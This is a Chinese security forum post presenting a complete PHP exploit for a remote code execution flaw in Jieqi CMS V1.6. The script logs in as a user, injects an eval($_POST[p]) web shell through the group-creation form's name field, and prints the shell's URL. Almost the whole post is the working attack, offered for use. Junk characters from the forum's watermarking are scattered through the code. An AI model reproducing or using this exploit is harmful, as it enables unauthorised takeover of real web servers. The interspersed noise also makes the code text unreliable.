找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2141|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
$ l2 _5 i. e" y& C8 ]! Z5 k  c+ G8 z  J2 d) p( M' V
& ?  V5 r* w0 C
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。% F9 V* h& i0 G& {7 S5 u0 r/ T
需要有一个能创建圈子的用户。8 W3 p) T1 _5 y% }
+ x. f: M, w: ]# Y: J
<?php
) I2 I" \) e9 `  k , B1 Y0 k6 F4 I
print_r('1 s0 y( V- E! b. e7 _
+---------------------------------------------------------------------------+: @- p- P$ \+ D' I, V
Jieqi CMS V1.6 PHP Code Injection Exploit
! Q. y% T1 `2 {0 n) q3 dby flyh4t
. O; e/ ]+ e" N, U( q9 gmail: phpsec at hotmail dot com
; a" H8 m- m6 J2 Jteam: http://www.wolvez.org! M6 `4 m# V' N* k
+---------------------------------------------------------------------------+
- i$ d/ [1 U& \1 o% J- A'); /**4 V8 L2 `: y6 r4 H
* works regardless of php.ini settings: m" R' A+ \- W. z
*/ if ($argc < 5) { print_r('
2 o: f" t% R1 H" F+---------------------------------------------------------------------------+, j+ s7 ?+ N$ |' A$ @2 e6 _; V
Usage: php '.$argv[0].' host path username
$ `! I0 ~6 J0 C- S3 F7 ^host:      target server (ip/hostname)  T0 |4 Y. B) i6 w2 g
path:      path to jieqicms ! F/ {5 l$ e& Y' {$ }
uasename:  a username who can create group
, D+ x5 G' o( L# E" p) RExample:, r% }9 E" ?1 W' q; _! ]" [
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
6 d' U4 K+ Y. V0 M. [/ ?' y+---------------------------------------------------------------------------+
6 K& J3 z9 w7 `" p% \3 O% ]7 R'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
& [. `) d# k0 Q- dContent-Disposition: form-data; name="gname"
8 {/ ?) h/ E! u1 z' w* d$ U # a" m, b: C/ D- H9 x: n
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t& C' i2 f, L& h% A! l' _2 j
-----------------------------23281168279961
  r& ]7 f6 W+ X$ SContent-Disposition: form-data; name="gcatid"
0 u# f- O8 w+ L
5 N, i1 S4 i" p5 q: X17 G9 {) n  y$ E6 s  G/ ]
-----------------------------23281168279961; j0 a$ Z/ z; x* Z% m
Content-Disposition: form-data; name="gaudit"
& C. R! x" {# ~9 g 9 U; l0 ]' k* Q' r' d
1
6 c7 T+ {* p! U( f-----------------------------232811682799617 e( [' ^0 c2 }# h- g7 }% J5 k0 N
Content-Disposition: form-data; name="gbrief"
) ]6 N8 z7 v/ k! L . [( O5 g" @* z. J+ K
1: l" q7 C# J$ a- ~. U$ E3 ^
-----------------------------23281168279961--# C6 o+ i( g# t( Y6 J. g, u" @$ v  x
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
' l4 o0 H+ F- s! r  f3 X " P4 x8 r) o" y6 E) Y# ]4 p
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表